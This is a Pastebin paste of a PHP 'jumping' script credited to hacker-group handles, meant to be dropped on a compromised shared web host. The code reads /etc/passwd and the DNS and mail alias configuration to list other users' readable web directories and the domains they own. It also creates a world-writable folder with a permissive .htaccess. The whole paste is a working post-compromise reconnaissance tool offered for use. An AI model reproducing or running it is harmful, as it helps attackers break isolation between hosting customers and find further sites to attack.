Advertisement
AZZATSSINS_CYBERSERK

Jumping (users - domains)

Jun 17th, 2016
259
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.79 KB | None | 0 0
  1. <?php
  2. /* Recoded by AZZATSSINS CYBERSERKERS | Coded by Tu5b0l3d
  3.  | thx to: IndoXPloit
  4.  | just jumping + domain
  5.  */
  6.  
  7. error_reporting(0);
  8. echo '<title>READ ANOTHER USERS DIR | JUMPING | AZZATSSINS</title><body bgcolor=silver><center><h2>Just View Directory Another User, Readable or Not</h2><br><hr><br>List of Readable<br><hr><br></center><table align="center" border="3" width="400" cellspacing="0" cellpadding="0">
  9. <td align="center"> <font color="violet"> <b>USERS PATH</b></td>
  10. <td align="center"> <font color="violet"> <b>DOMAINS</b></td>
  11.  
  12. ';
  13. //$us = file_get_contents("/etc/passwd");
  14. $usa = fopen('/etc/passwd','r');
  15. $dir = mkdir('jump', 0777);
  16. $rrrr = "Options all \n DirectoryIndex jump \n Require None \n Satisfy Any";
  17. $frr = fopen('jump/.htaccess', 'w');
  18.  
  19. fwrite($frr, $rrrr);
  20. while($us = fgets($usa)){
  21. if($us==""){
  22.     echo "<font color=red><b>Can't read /etc/passwd</b></font><br><br>";
  23. }
  24. else{
  25. preg_match_all('/(.*?):x:/', $us, $user_byk);
  26.  
  27.     foreach($user_byk[1] as $user){
  28.         $dir1 = "/home/$user/public_html/";
  29.         if(is_readable($dir1)){
  30.            echo "<tr>
  31. <td><i><font color=green>$dir1</font></i></td>";
  32.  
  33.       $domainns = file_get_contents("/etc/named.conf");
  34.       if($domainns==""){
  35.         echo "<font color=red><b>Can't read /etc/named.conf</b></font><br><br>";
  36.       }
  37.       else{
  38.  
  39.       preg_match_all("#/var/named/(.*?).db#", $domainns, $domains);
  40.       foreach($domains[1] as $domain){
  41.        
  42.       $user2 = posix_getpwuid(@fileowner("/etc/valiases/$domain"));
  43.       $user2 = $user2['name'];
  44.       if ($user2=="$user"){
  45.         echo "<td><a class='azzatssins' href='http://".$domain." '><font color=lime>".$domain."</font></td>";
  46.         break;
  47.     }
  48.   }
  49.  
  50. }
  51.        }
  52.         else{
  53.            
  54.         }
  55.  
  56.    }
  57.  
  58. }
  59.  
  60. }
  61.  
  62. echo "</tr></table>";
  63.  
  64.    ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement